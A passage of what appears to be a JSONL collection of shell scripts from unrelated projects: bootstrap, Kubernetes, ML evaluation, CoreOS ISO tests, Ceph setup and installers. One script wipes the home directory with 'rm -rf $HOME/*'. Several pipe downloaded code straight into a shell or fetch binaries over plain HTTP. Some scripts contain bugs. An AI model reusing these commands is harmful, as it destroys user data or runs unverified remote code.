name: ' ORGANISATION_NAME\ninputStringValidation \"${ORGANISATION_NAME}\" 'Organization'\n\nread -p 'Application name: ' APPLICATION_NAME\ninputStringValidation \"${APPLICATION_NAME}\" 'Application'\n\necho \"${FONT_BOLD}Downloading bootstrap files (using version ${BOOTSTRAP_PROJECT_VERSION})...${FONT_NC}\"\ncurl -sL ${BOOTSTRAP_PROJECT_ARCHIVE_URL} | tar zx\n\necho \"${FONT_BOLD}Renaming directories...${FONT_NC}\"\nmv ${BOOTSTRAP_PROJECT_ARCHIVE_DIRNAME}/src ${APPLICATION_NAME}\nrm -rf ${BOOTSTRAP_PROJECT_ARCHIVE_DIRNAME}\n\ncd ${APPLICATION_NAME}\n\ngo mod init ${ORGANISATION_NAME}/${APPLICATION_NAME}\n\nsed -i '' 's/my-app/'${APPLICATION_NAME}'/g' ./README.md ./.gitignore ./main.go ./cmd/main.go ./lambda/aws.go ./Makefile\nsed -i '' 's/my-organization/'${ORGANISATION_NAME}'/g' ./README.md ./main.go ./cmd/main.go ./lambda/aws.go ./Makefile\n\necho \"${FONT_BOLD}Project ${APPLICATION_NAME} successfully created.${FONT_NC}\""} {"text": "tsugliani/tkia\nkubectl create ns test\nkubectl -n test create deploy nginx --image=nginx\nkubectl -n test expose deploy nginx --port=80 --type=LoadBalancer"} {"text": "#!/bin/sh\nexport PYTHONPATH=\"../..:$PYTHONPATH\"\nrm -rf result\nmkdir -p mesh\n./go run cvg2d_0_0"} {"text": "0\n\r\n# gflags_test\r\ng++ gflags_test.cc -std=c++11 -Wall -g -O2 -lgflags -o gflags_test && ./gflags_test"} {"text": "1-10\n#!/bin/bash\nfor i in *.m4a\ndo\n\tTITLE=\"$(mediainfo \"$i\" | awk -F ': ' '/Track name/ {print $2;exit}' | tr -dc '[:alnum:]\\ \\(\\)-')\"\n\tARTIST=\"$(mediainfo \"$i\" | awk -F ': ' '/Performer/ {print $2;exit}' | tr -dc '[:alnum:]\\ \\(\\)-')\"\n\tmv \"$i\" \"$ARTIST - ${TITLE%.m4a}.m4a\"\ndone"} {"text": "SeanHayes/python-social-authsocial/tests/run_tests.sh1000+\n#!/bin/sh\n\nnosetests --with-coverage --cover-package=social --stop"} {"text": "10-100\nexport CUDA_VISIBLE_DEVICES=0\n\nset -x\nset -e\n\n#NOTE:\n#Using interactive.py requires raw BPEd data . BERT-fused version requires concat of BPEd and non-BPEd raw data(to feed in BERT) \n#It does not shuffle the translated sentences. \n#Source test file should be tokenized and BPEd so that it can match the vocabulary of the model. Reference file should be detokenized and de-BPEd for explicitly calculating sacreBLEU (without using internal --sacrebleu)\n#removebpe=sentencepiece should only be used if BPE was used with sentencepiece.\n\nSRC_LNG=hi\nTGT_LNG=mr\nLANG_PAIR=$SRC_LNG-$TGT_LNG\nTEST_TYPE=val\n\nHOME_DIR=/fs/bil0/atanwar\nWORK_DIR=$HOME_DIR/work\nPACKAGES_DIR=$HOME_DIR/packages\n\nexport PYTHONIOENCODING=\"UTF-8\"\n\n#Moses scripts; We just use detokenizer here. \nMOSES_DIR=$PACKAGES_DIR/mosesdecoder\nSCRIPTS=$MOSES_DIR/scripts\nTOKENIZER=$SCRIPTS/tokenizer/tokenizer.perl\nDETOKENIZER=$SCRIPTS/tokenizer/detokenizer.perl\nLC=$SCRIPTS/tokenizer/lowercase.perl\nCLEAN=$SCRIPTS/training/clean-corpus-n.perl\n\n#IndicNLP\nINDIC_NLP_DIR=$PACKAGES_DIR/indic-nlp\nexport INDIC_RESOURCES_PATH=$INDIC_NLP_DIR/indic_nlp_resources\nINDIC_NLP_CLI_PARSER=$INDIC_NLP_DIR/indic_nlp_library/indicnlp/cli/cliparser.py\n\n#Raw data(order of src and tgt should be according to raw data folder)\nRAW_LANG_PAIR=$SRC_LNG-$TGT_LNG\nRAW_DATA_DIR=$WORK_DIR/raw-data/parallel/augmented/$RAW_LANG_PAIR\n\n#Preprocessed data\nPREPROCESSED_LANG_PAIR_DIR=$WORK_DIR/preprocessed-data-and-models/$LANG_PAIR\nPREPROCESSED_DATA_DIR=$PREPROCESSED_LANG_PAIR_DIR/preprocessed-data\nTOK_BPE_DATA_DIR=$PREPROCESSED_DATA_DIR/tokenized-BPE\nBINARY_DATA=$PREPROCESSED_DATA_DIR/binary\nVAL_SRC_BPEd=$TOK_BPE_DATA_DIR/$TEST_TYPE.bpe.$LANG_PAIR.$SRC_LNG\nVAL_SRC_RAW=$TOK_BPE_DATA_DIR/$TEST_TYPE.bpe.$LANG_PAIR.bert.$SRC_LNG\n\n#BERT_fused NMT-System\nBERT_FUSED_NMT_SYSTEM_DIR=$WORK_DIR/systems/xlm-r-fused/bert-nmt\n\n#Bert saved models and cache\nBERT_DIR=$WORK_DIR/bert\nCACHE_DIR=$BERT_DIR/cache\nBERT_MODELS_DIR=$BERT_DIR/models\nBERT_TYPE=xlmr.base\nBERT_NAME=$BERT_MODELS_DIR/pre-trained/xlm-roberta/$BERT_TYPE\n\n#Bert-fused NMT Checkpoints dir\nBERT_FOLDER=${BERT_TYPE}-fused\nBERT_FUSED_NMT_CHECKPOINTS_DIR=$PREPROCESSED_LANG_PAIR_DIR/$BERT_FOLDER\nOUTPUT_VAL_BLEU=$BERT_FUSED_NMT_CHECKPOINTS_DIR/all_checkpoints_${TEST_TYPE}_bleu.txt\n\n#echo \"Validation BLEU for all the checkpoints for\" $LANG_PAIR $BERT_NAME > $OUTPUT_VAL_BLEU\n#Concat BPEd and raw file for interactive.py\npaste -d \"\\n\" $VAL_SRC_BPEd $VAL_SRC_RAW > $TOK_BPE_DATA_DIR/$TEST_TYPE.concat.$LANG_PAIR.$SRC_LNG\n\nfor BEST_CHECKPOINT in $(ls $BERT_FUSED_NMT_CHECKPOINTS_DIR/checkpoint[0-9]*.pt); do\n #Log file\n TGT_LOG=$BEST_CHECKPOINT.$TEST_TYPE.inter.log\n\n #Evaluate bert-fused with interactive.py \n cat $TOK_BPE_DATA_DIR/$TEST_TYPE.concat.$LANG_PAIR.$SRC_LNG | python $BERT_FUSED_NMT_SYSTEM_DIR/interactive.py \\\n $BINARY_DATA \\\n -s $SRC_LNG -t $TGT_LNG \\\n --path $BEST_CHECKPOINT --bert-model-name $BERT_NAME \\\n --batch-size 128 --beam 5 --lenpen 1.0 --buffer-size 1024 \\\n --remove-bpe=sentencepiece --sacrebleu | tee $TGT_LOG\n\n #Extracting all the hypothesis from the log. It corresponds to translated sentences.\n grep ^H $TGT_LOG | cut -f3- > $TGT_LOG.h\n\n #Detokenizing sentences using Moses( may use some other detokenizer such as IndicNLP)\n #perl $DETOKENIZER -l $TGT_LNG < $TGT_LOG.h > $TGT_LOG.h.detok\n python $INDIC_NLP_CLI_PARSER detokenize -l $TGT_LNG $TGT_LOG.h $TGT_LOG.h.detok\n\n echo $BEST_CHECKPOINT >> $OUTPUT_VAL_BLEU\n #Compute sacreBLEU using original target side test data\n cat $TGT_LOG.h.detok | sacrebleu $RAW_DATA_DIR/$TEST_TYPE.$RAW_LANG_PAIR.$TGT_LNG --short >> $OUTPUT_VAL_BLEU\ndone\n\nsort -g $OUTPUT_VAL_BLEU"} {"text": "jldohmann/coreos-installertests/images/iso-kargs.sh\n#!/bin/bash\nset -xeuo pipefail\nPS4='${LINENO}: '\n\nfatal() {\n echo \"$@\" >&2\n exit 1\n}\n\ndigest() {\n # Ignore filename\n sha256sum \"${1:--}\" | awk '{print $1}'\n}\n\ngrepq() {\n # Emulate grep -q without actually using it, to avoid propagating write\n # errors to the writer after a match, which would cause problems with\n # -o pipefail\n grep \"$@\" > /dev/null\n}\n\niso=$1; shift\niso=$(realpath \"${iso}\")\n\ntmpd=$(mktemp -d)\ntrap 'rm -rf \"${tmpd}\"' EXIT\ncd \"${tmpd}\"\n\nif [ \"${iso%.xz}\" != \"${iso}\" ]; then\n xz -dc \"${iso}\" > test.iso\nelse\n cp --reflink=auto \"${iso}\" \"test.iso\"\nfi\niso=test.iso\nout_iso=\"${iso}.out\"\n\n# Sanity-check the ISO doesn't somehow already have the karg we're testing with.\nif coreos-installer iso kargs show \"${iso}\" | grepq foobar; then\n fatal \"Unexpected foobar karg in iso kargs\"\nfi\n\norig_hash=$(digest \"${iso}\")\n\n# Stream modification to stdout.\nstdout_hash=$(coreos-installer iso kargs modify -a foobar=oldval -a dodo -o - \"${iso}\" | tee \"${out_iso}\" | digest)\ncoreos-installer iso kargs show \"${out_iso}\" | grepq 'foobar=oldval dodo'\ncoreos-installer iso kargs modify -d foobar=oldval -d dodo -o - \"${out_iso}\" > \"${iso}\"\nif coreos-installer iso kargs show \"${iso}\" | grepq 'foobar'; then\n fatal \"Unexpected foobar karg in iso kargs\"\nfi\nhash=$(digest \"${iso}\")\nif [ \"${orig_hash}\" != \"${hash}\" ]; then\n fatal \"Hash doesn't match original hash: ${hash} vs ${orig_hash}\"\nfi\n\n# Test all the modification operations.\ncoreos-installer iso kargs modify -a foobar=oldval -a dodo \"${iso}\"\ncoreos-installer iso kargs show \"${iso}\" | grepq 'foobar=oldval dodo'\nhash=$(digest \"${iso}\")\nif [ \"${stdout_hash}\" != \"${hash}\" ]; then\n fatal \"Streamed hash doesn't match modified hash: ${stdout_hash} vs ${hash}\"\nfi\nrm \"${out_iso}\"\ncoreos-installer iso kargs modify -r foobar=oldval=newval \"${iso}\" -o \"${out_iso}\"\ncoreos-installer iso kargs show \"${out_iso}\" | grepq 'foobar=newval dodo'\nrm \"${iso}\"\ncoreos-installer iso kargs modify -d foobar=newval -d dodo \"${out_iso}\" -o \"${iso}\"\nif coreos-installer iso kargs show \"${iso}\" | grepq 'foobar'; then\n fatal \"Unexpected foobar karg in iso kargs\"\nfi\n\nhash=$(digest \"${iso}\")\nif [ \"${orig_hash}\" != \"${hash}\" ]; then\n fatal \"Hash doesn't match original hash: ${hash} vs ${orig_hash}\"\nfi\n\n# Test the largest karg; we get the full area length from --header and subtract\n# the default kargs size to get the size of the overflow embed area.\nembed_size=$(coreos-installer dev show iso --kargs \"${iso}\" | jq .length)\nembed_default_kargs_size=$(coreos-installer iso kargs show --default \"${iso}\" | wc -c)\nembed_usable_size=$((${embed_size} - ${embed_default_kargs_size} - 1))\n\nlong_karg=$(printf '%*s' $((embed_usable_size)) | tr ' ' \"k\")\ncoreos-installer iso kargs modify -a \"${long_karg}\" \"${iso}\"\ncoreos-installer iso kargs show \"${iso}\" | grepq \" ${long_karg}\\$\"\ncoreos-installer iso kargs reset \"${iso}\"\nlong_karg=$(printf '%*s' $((embed_usable_size + 1)) | tr ' ' \"k\")\nif coreos-installer iso kargs modify -a \"${long_karg}\" \"${iso}\" 2>err.txt; then\n fatal \"Was able to put karg longer than area?\"\nfi\ngrepq 'kargs too large for area' err.txt\n\n# Test `reset`.\ncoreos-installer iso kargs modify -a foobar \"${iso}\"\nrm \"${out_iso}\"\ncoreos-installer iso kargs reset \"${iso}\" -o \"${out_iso}\"\nhash=$(digest \"${out_iso}\")\nif [ \"${orig_hash}\" != \"${hash}\" ]; then\n fatal \"Hash doesn't match original hash: ${hash} vs ${orig_hash}\"\nfi\ncoreos-installer iso kargs reset \"${iso}\" -o - > \"${out_iso}\"\nhash=$(digest \"${out_iso}\")\nif [ \"${orig_hash}\" != \"${hash}\" ]; then\n fatal \"Hash doesn't match original hash: ${hash} vs ${orig_hash}\"\nfi\ncoreos-installer iso kargs reset \"${iso}\"\nhash=$(digest \"${iso}\")\nif [ \"${orig_hash}\" != \"${hash}\" ]; then\n fatal \"Hash doesn't match original hash: ${hash} vs ${orig_hash}\"\nfi\n\n# Check modification against expected ground truth.\ncoreos-installer iso kargs modify -a foobar=val \"${iso}\"\noffset=$(coreos-installer dev show iso --kargs \"${iso}\" | jq -r .kargs[0].offset)\nlength=$(coreos-installer dev show iso --kargs \"${iso}\" | jq -r .kargs[0].length)\nexpected_args=\"$(coreos-installer iso kargs show --default \"${iso}\") foobar=val\"\nexpected_args_len=\"$(echo -n \"${expected_args}\" | wc -c)\"\nfiller=\"$(printf '%*s' $((${length} - ${expected_args_len} - 1)) | tr ' ' '#')\"\nif ! echo -en \"${expected_args}\\n${filler}\" | cmp -s <(dd if=${iso} skip=${offset} count=${length} bs=1 status=none) -; then\n fatal \"Failed to manually round-trip kargs\"\nfi\n\n# Done\necho \"Success.\""} {"text": "vsts-task-build.sh\n#!/usr/bin/env bash\n# build \n#\"C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Professional\\MSBuild\\15.0\\Bin\\msbuild.exe\" dotnetgraphql-schema_comparator.sln -p:Configuration=Release\n\n#run tests\n#./packages/NUnit.ConsoleRunner.3.9.0/tools/nunit3-console.exe ./schema_comparatorTests/bin/Release/schema_comparatorTests.dll\n\n#copy dlls for the comperator\n#cp ./schema_comparator_cli/bin/Release/* ./vsts_task/GraphqlSchemaComperator/comperator\n\n#update version number of the extension\nbumped release patch\n#set version number of the task to the same as the extension\nnode > out < { \n if (err) throw err;\n console.log('Data written to file');\n});\n\nEOF\n\n#sleep to make sure the version number is written\nsleep 0.5\n\n#build the extension \ntfx extension create --root ./vsts_task --manifest-globs vss-extension.json\n#tfx extension publish --root ./vsts_task --manifest-globs vss-extension.json \n\necho \"Upload the extension to https://marketplace.visualstudio.com/manage\""} {"text": "0\n#!/bin/bash\n\nset -e # fail on error\n\nshopt -s dotglob\n# FIXME: Might fail if argument list is too long\nrm -rf $HOME/*"} {"text": "#!/usr/bin/env bash\n\nDATA_DIR=\".data\"\nSUPPORTED_VERSIONS=(3.4 3.5 3.6)\nREQUIRE_CLIENT_PORT_SUFFIX=(3.5 3.6)\n\nCOMPOSE_ABS_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\nCOMPOSE_ABS_DATA_DIR=\"${COMPOSE_ABS_DIR}/${DATA_DIR}\"\n\n! which docker-compose >/dev/null && echo \"ERROR: Requires Docker Compose\" && exit 1\n\nif [[ $# -lt 3 ]] || [[ $# -gt 4 ]]; then\n echo \"Description:\"\n echo \" Spins up and shuts down ZooKeeper, using Docker Compose.\"\n echo \" This is useful for local development/testing.\"\n echo \"\"\n echo \"Usage:\"\n echo \" $(basename ${BASH_SOURCE}) [OPTION: attach|clean]\"\n echo \"\"\n echo \"Options:\"\n echo \" attach After launch, place Docker Compose logs in foreground (only for 'up' action)\"\n echo \" clean After shutdown, delete any data directory (only for 'down' action)\"\n echo \"\"\n exit 1\nfi\n\nVERSION=${1}\nTYPE=${2}\nACTION=${3}\nOPTION=${4}\nCOMPOSE_FILE=\"${COMPOSE_ABS_DIR}/${TYPE}.yml\"\n\n# --------------------------------------------------------------- VALIDATE INPUT\n[[ ! -f ${COMPOSE_FILE} ]] && echo \"ERROR: Unknown compose setup: ${COMPOSE_FILE}\" && exit 1\n[[ ! \"${SUPPORTED_VERSIONS[@]}\" =~ \"${VERSION}\" ]] && echo \"ERROR: Unsupported version: ${VERSION}\" && exit 1\n\nCLIENT_PORT_SUFFIX=\"\"\n[[ \"${REQUIRE_CLIENT_PORT_SUFFIX[@]}\" =~ \"${VERSION}\" ]] && CLIENT_PORT_SUFFIX=\";2181\"\n\n# ---------------------------------------------------------------------- EXECUTE\nif [[ ${ACTION} == \"up\" ]]; then\n if [[ ${OPTION} == \"attach\" ]]; then\n ZK_VERSION=${VERSION} \\\n ZK_LOCAL_DATA_DIR=${DATA_DIR} \\\n ZK_CLIENT_PORT_SUFFIX=${CLIENT_PORT_SUFFIX} \\\n docker-compose -f ${COMPOSE_FILE} up\n else\n ZK_VERSION=${VERSION} \\\n ZK_LOCAL_DATA_DIR=${DATA_DIR} \\\n ZK_CLIENT_PORT_SUFFIX=${CLIENT_PORT_SUFFIX} \\\n docker-compose -f ${COMPOSE_FILE} up --detach\n fi\nelif [[ ${ACTION} == \"down\" ]]; then\n ZK_VERSION=${VERSION} \\\n ZK_LOCAL_DATA_DIR=${DATA_DIR} \\\n ZK_CLIENT_PORT_SUFFIX=${CLIENT_PORT_SUFFIX} \\\n docker-compose -f ${COMPOSE_FILE} down --remove-orphans --volumes\n\n if [[ ${OPTION} == \"clean\" ]]; then\n rm -r ${COMPOSE_ABS_DATA_DIR}\n fi\nelse\n echo \"Error: unknown action '${ACTION}'\"\n exit 1\nfi"} {"text": "#!/bin/bash\n\n############\n# Run once #\n############\nif [ ! -f ~/.run_ceph_once ]\nthen\n\n ##############\n # Setup ceph #\n ##############\n sudo apt-get install -y ceph-deploy\n\n mkdir /vagrant/data/ceph\n cd /vagrant/data/ceph\n\n ceph-deploy new vm1\n ceph-deploy install vm1 vm2 vm3\n ceph-deploy mon create-initial\n ceph-deploy admin vm1 vm2 vm3\n ceph-deploy mgr create vm1\n\n ceph-deploy osd create --data /dev/sdc vm1\n ceph-deploy osd create --data /dev/sdc vm2\n ceph-deploy osd create --data /dev/sdc vm3\n\n ceph-deploy mds create vm1 vm2 vm3\n ceph-deploy mon create vm1 vm2 vm3\n ceph-deploy mgr create vm1 vm2 vm3\n\n sudo ceph osd pool create cephfs_data 64\n sudo ceph osd pool create cephfs_metadata 64\n sudo ceph fs new cephfs cephfs_metadata cephfs_data\n\n grep \"key = \" ceph.client.admin.keyring | awk '{print $3}' > admin.secret\n\n sudo mkdir /cephfs\n sudo chown vagrant:vagrant /cephfs\n sudo mount -t ceph vm1:6789:/ /cephfs -o name=admin,secretfile=admin.secret\n\n ssh vm2 'sudo mkdir /cephfs'\n ssh vm2 'sudo chown vagrant:vagrant /cephfs'\n ssh vm2 'cd /vagrant/data/ceph && sudo mount -t ceph vm1:6789:/ /cephfs -o name=admin,secretfile=admin.secret'\n\n ssh vm3 'sudo mkdir /cephfs'\n ssh vm3 'sudo chown vagrant:vagrant /cephfs'\n ssh vm3 'cd /vagrant/data/ceph && sudo mount -t ceph vm1:6789:/ /cephfs -o name=admin,secretfile=admin.secret'\n\n touch /cephfs/ceph_test\n\n ####################\n # Create lock file #\n ####################\n touch ~/.run_ceph_once\n\nfi"} {"text": "mrheat/dappcontrib/scripts/meteor-install.sh\n#!/bin/bash\n#check if meteor is installed - if not install it - otherwise do nothing.\ncommand -v meteor >/dev/null 2>&1 || { echo >&2 \"I require meteor but it's not installed. Installing...\"; curl https://install.meteor.com | /bin/sh; }"} {"text": "1-10\n#!/usr/bin/env bash\n\n#protoc -I=./protobuf/src/main/protobuf/ --descriptor_set_out=./protobuf/target/ccm.pb ./protobuf/src/main/protobuf/ccm.proto\n# deploy cloud enpoint\ngcloud endpoints services deploy ./protobuf/target/hamm.pb ./kubernetes/api_config.yaml\n# creating kubernetes cluster\nkubectl create -f ./kubernetes/kub_service_deploy.yaml"} {"text": "tools/discrover/search.sh\n#!/bin/bash\n\nwhile [[ $# -gt 0 ]]; do key=\"$1\"; value=\"$2\"; case ${key} in\n\t--pm-fasta-file) pm_fasta_file=\"${value}\"; shift; shift; ;;\n\t--bg-fasta-file) bg_fasta_file=\"${value}\"; shift; shift; ;;\n\t--motif-length-min) motif_length_min=\"${value}\"; shift; shift; ;;\n\t--motif-length-max) motif_length_max=\"${value}\"; shift; shift; ;;\n\t--output-dir) output_dir=\"${value}\"; shift; shift; ;;\n\t--tool-args) tool_args=\"${value}\"; shift; shift; ;;\n\t*) shift; ;;\nesac; done\n\n# --revcomp\n# --threads\n\n# files\n# --nopdf\n# --nopng\n\n# require to specify motif to search (can be length) or hmm\n# --motif $motif_length\n# --load $some_path\n\ndiscrover_args=\"discrover /data/primary/$pm_fasta_file /data/background/$bg_fasta_file $tool_args\"\n\nread -r -d '' param_script << EOM\n\t#!/bin/sh\n\n\tdiscrover_args=\"${discrover_args}\"\n\tmotif_length_min=\"${motif_length_min}\"\n\tmotif_length_max=\"${motif_length_max}\"\nEOM\n\n\nread -r -d '' run_script << \"EOM\"\n\n\tset -e # fail whole script if something goes wrong\n\tcd /output # change working directory to mounted folder\n\n\tmotif_length=${motif_length_min}\n\tuntil [ ${motif_length} -gt ${motif_length_max} ]; do\n\t\techo \"paraffin_width_info: now working on motif width: ${motif_length}\"\n\t\tcmd_iter=\"$discrover_args --output w${motif_length} --motif ${motif_length}\"\n\t\tmotif_length=`expr ${motif_length} + 1`\n\t\t$cmd_iter\n\tdone\nEOM\n\n\necho \"${param_script}\" | awk '{$1=$1;print}' > \"${output_dir}/_run.sh\"\necho \"${run_script}\" | awk '{$1=$1;print}' >> \"${output_dir}/_run.sh\"\nchmod +x \"${output_dir}/_run.sh\"\necho \"command: /output/_run.sh\""} {"text": "1-10\n#!/bin/bash\nset -Eeuo pipefail\n\npip install -r requirements.txt\npip install flake8 coverage\nflake8 . --count --select=E9,F63,F7,F82 --show-source --statistics\nflake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics\nmv example-app.ini app.ini\ncoverage run --source=./src/outline_cli/ -m unittest discover ./src/\ncoverage report -m\nmv app.ini example-app.ini\nrm .coverage"} {"text": "#!/bin/sh\n\nchmod 755 /usr/local/bin/iqlogger\nchmod 755 /var/log/iqlogger\nchmod 755 /var/lib/iqlogger\nchmod 644 /etc/iqlogger/iqlogger.json\nchmod 644 /etc/iqlogger/processor.js\nchmod 644 /etc/systemd/system/iqlogger.service\n\nchown -R iqlogger:adm /var/log/iqlogger\nchown -R iqlogger:adm /var/lib/iqlogger\n\nsystemctl daemon-reload\nsystemctl enable iqlogger\nservice iqlogger start\n\nexit 0"} {"text": "0\n#!/usr/bin/env bash\nset -xe\n\n# Remnux installs firefox by default. We need to update this install to utilze the system's certificate store\n# in order for web filtering to work\n\napt-get install -y p11-kit-modules\n\nrm /usr/lib/firefox/libnssckbi.so\nln /usr/lib/x86_64-linux-gnu/pkcs11/p11-kit-trust.so /usr/lib/firefox/libnssckbi.so\n\n\n# Remnux includes bluetooth drivers which try to autoload causing pluse audio to fail\nsed -i \"s/module-bluetooth-discover.so/module-bluetooth-discover.so.ignore/g\" /etc/pulse/default.pa"} {"text": "Vokda/master_thesis0\n#!/bin/bash\n# will clean all data that is in the networks directory\n# but NOT the data in the data/ directories.\n# ...unless given then -A flag\n\nsource $(dirname $0)/includes.sh\n\nif [[ -d $1 ]];\nthen\n\trm $1/data/*\nelse\n\tfor network in $(ls -D $networks_dir)\n\tdo\n\t\tnet_dir=$networks_dir/$network \n\t\t#data=$data_dir/$dir\t\n\n\t\t#remove old data\n\t\trm -vf $net_dir/*.dat $net_dir/*.pdf $net_dir/*.weights\n\n\t\tif [ $# -eq 0 ];\n\t\tthen \n\t\t\texit\n\t\tfi\n\n\t\tif [ \"$1\" == \"-A\" ]\n\t\tthen\n\t\t\techo \"Cleaning all data!\"\n\t\t\trm -vrf $net_dir/data/*\n\t\tfi\n\tdone\nfi"} {"text": "username=`whoami`\nDIR=\"$(cd `dirname $0`; pwd)\"\nGET=\"curl -fsSL\"\nDOTNET_PATH=\".dotnet\"\nset -e\n\ninstallDocker() {\n $GET https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -\n sudo add-apt-repository \"deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable\"\n sudo apt-get update\n sudo apt-get install -y docker-ce\n sudo usermod -a -G docker $username\n echo \"docker installed, you may need reboot to use it.\"\n}\n\ninstallDotnet() {\n $GET https://dot.net/v1/dotnet-install.sh > ./dotnet-install.sh\n chmod +x dotnet-install.sh\n ./dotnet-install.sh -v 2.1.403 -i $DIR/$DOTNET_PATH\n}\n\naddDotnetToPath() {\n export PATH=$DIR/$DOTNET_PATH:$PATH\n}\n\ninstallDependencies() {\n sudo apt-get update\n sudo apt-get upgrade -y\n\n sudo apt-get install -y apt-transport-https ca-certificates curl gnupg2 software-properties-common liblttng-ust0 libcurl4 libssl1.0.0 libkrb5-3 zlib1g\n sudo apt-get install -y nodejs npm git python-pip gcc-arm-none-eabi mercurial # in case ...\n sudo apt-get remove -y gcc-arm-none-eabi\n\n # first, docker\n command -v docker >/dev/null 2>&1 || installDocker\n\n # then dotnet\n [[ -d .dotnet ]] || installDocker\n command -v dotnet >/dev/null 2>&1 || addDotnetToPath\n command -v dotnet >/dev/null 2>&1 || installDotnet\n}\n\ninstallServer() {\n echo \"::::installing iDECenter...\"\n\n if [[ -d iDECenter ]]; then\n rm -rf iDECenter\n fi\n\n git clone git://github.com/iDECenter/iDECenter.git\n cd iDECenter\n npm install\n node dbcreator.js\n cd ..\n}\n\nmakeDockerImage() {\n echo \"::::downloading iDockerCenter...\"\n\n if [[ -d iDockerCenter ]]; then\n rm -rf iDockerCenter\n fi\n\n git clone git://github.com/iDECenter/iDockerCenter.git\n\n cd iDockerCenter\n chmod +x ./build_image.sh\n echo \"::::building docker image...\"\n ./build_image.sh\n cd ..\n}\n\ninstallDaemon() {\n echo \"::::installing iDaemonCenter\"\n\n if [[ -d iDaemonCenter ]]; then\n rm -rf iDaemonCenter\n fi\n\n git clone git://github.com/iDECenter/iDaemonCenter.git\n dotnet build iDaemonCenter/iDaemonCenter/iDaemonCenter.csproj -o ../..\n}\n\ninstallArmGcc() {\n r=$(pwd)\n cd /usr/local\n sudo wget \"http://geminilab.moe/static/gcc-arm-none-eabi.tar.bz2\"\n sudo tar xf gcc-arm-none-eabi.tar.bz2\n sudo rm gcc-arm-none-eabi.tar.bz2\n gccarmpath=$(ls -l | egrep ^d.*gcc.*$ | awk '{print $NF}')\n export PATH=/usr/local/$gccarmpath/bin:$PATH\n sudo bash -c \"echo \\\"export PATH=/usr/local/$gccarmpath/bin:\\\\\\$PATH\\\" >> /etc/profile\"\n cd $r\n}\n\nmakeTemplates() {\n echo \"::::making templates\"\n \n command -v arm-none-eabi-gcc --version >/dev/null 2>&1 || installArmGcc\n\n cd template\n bash get_mbed_wb.sh\n cd ..\n}\n\necho \"::::WARNING: this script works on ubuntu 18.04 only (now)\"\necho \"::::WARNING: DO NOT run this script as root\"\ninstallDependencies\ninstallServer\ncd iDECenter\n\nread -p \"::::build docker image now(Y) or use pre-built image(N, default)?\" c\n\nif [[ $c == \"Y\" || $c == \"y\" ]]; then\n makeDockerImage\nelse\n echo \"::::use pre-built image\"\nfi\n\ninstallDaemon\nmakeTemplates\n\ncd .."} {"text": "echo ${2:-\"output\"} ${1:-\"../../data/amap_traffic_train/000004/2.jpg\"}\npython inference.py configs/culane.py --test_model checkpoints/culane_18.pth \\\n --test_work_dir ${2:-\"output\"} \\\n --test_img ${1:-\"../../data/amap_traffic_train/000004/2.jpg\"}"} {"text": "#!/bin/bash\n\n# Copyright The Shipwright Contributors\n# \n# SPDX-License-Identifier: Apache-2.0\n\n#\n# Installs \"kubectl\"\n#\n\nset -euo pipefail\n\n# Find a suitable install location\nfor CANDIDATE in \"$HOME/bin\" \"/usr/local/bin\" \"/usr/bin\"; do\n if [[ -w $CANDIDATE ]] && grep -q \"$CANDIDATE\" <<<\"$PATH\"; then\n TARGET_DIR=\"$CANDIDATE\"\n break\n fi\ndone\n\n# Bail out in case no suitable location could be found\nif [[ -z ${TARGET_DIR:-} ]]; then\n echo -e \"Unable to determine a writable install location. Make sure that you have write access to either \\\\033[1m/usr/local/bin\\\\033[0m or \\\\033[1m${HOME}/bin\\\\033[0m and that is in your PATH.\"\n exit 1\nfi\n\n# Look-up current stable version from their release site\nSTABLE_VERSION=\"$(curl --fail --silent --location https://dl.k8s.io/release/stable.txt)\"\n\n# Determine the architecture\nARCH=$(uname -m | sed -e 's/x86_64/amd64/' -e 's/aarch64/arm64/')\n\necho \"# Downloading kubectl binary...\"\ncurl --fail --progress-bar --location \"https://dl.k8s.io/release/${STABLE_VERSION}/bin/linux/${ARCH}/kubectl\" --output \"${TARGET_DIR}/kubectl\"\nchmod a+rx \"${TARGET_DIR}/kubectl\"\n\necho \"# Validating kubectl binary...\"\nsha256sum --check <<<\"$(curl --fail --silent --location \"https://dl.k8s.io/${STABLE_VERSION}/bin/linux/${ARCH}/kubectl.sha256\") ${TARGET_DIR}/kubectl\"\n\necho \"# Kubectl version\"\nkubectl version --client"} {"text": "#!/bin/sh\necho \"Terminating Rapid SCADA...\"\nsudo service scadacomm stop\nsudo service scadaserver stop"} {"text": "owen32497/465_lab3\n#Author \n#Realized we can only have 1 python script so gonna try to do this in bash\n# file Port_Scanner\n#!bin/bash\n\nip=($1)\nport=($2)\n\n#check for cidr\nif [[ip == */*]]; \nthen\n prips $ip\nfi\n\n#check for ip range\nif [[ $ip == *-* ]];\nthen\n firstsub=\"$(cut -d '.' -f1 <<< $ip)\"\n secondsub=\"$(cut -d '.' -f2 <<< $ip)\"\n third=\"$(cut -d '.' -f3,4 <<< $firstsub)\"\n forth=\"$(cut -d '.' -f3,4 <<< $secondsub)\"\n #echo $third //used to make sure it prints the right thing\n #echo $forth\nfi\n#check for port range\n\n#check for port list"} {"text": "src/asicverifier/src/test/resources/asic-containers/generate-containers.sh100-1000\nfind . -maxdepth 1 -type d -exec sh -c 'cd {}; zip -r {}.asice *; mv {}.asice ../..; cd ..' ';'"} {"text": "#!/bin/bash\n\nset -o xtrace\nset -o errexit\n\n# Create a small network\n%NOVA_DIR%/bin/nova-manage --flagfile %CFG_FILE% network create private %FIXED_RANGE% 1 %FIXED_NETWORK_SIZE%\n\nif [[ \"$ENABLED_SERVICES\" =~ \"quantum-server\" ]]; then\n echo \"Not creating floating IPs (not supported by Quantum)\"\nelse\n # Create some floating ips\n %NOVA_DIR%/bin/nova-manage --flagfile %CFG_FILE% floating create %FLOATING_RANGE%\n\n # Create a second pool\n %NOVA_DIR%/bin/nova-manage --flagfile %CFG_FILE% floating create --ip_range=%TEST_FLOATING_RANGE% --pool=%TEST_FLOATING_POOL%\nfi"} {"text": "#!/bin/bash\nset -e\nshift # sh\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# cyber-dojo sh [NAME]\n# - - - - - - - - - - - - - - - - - - - - - - 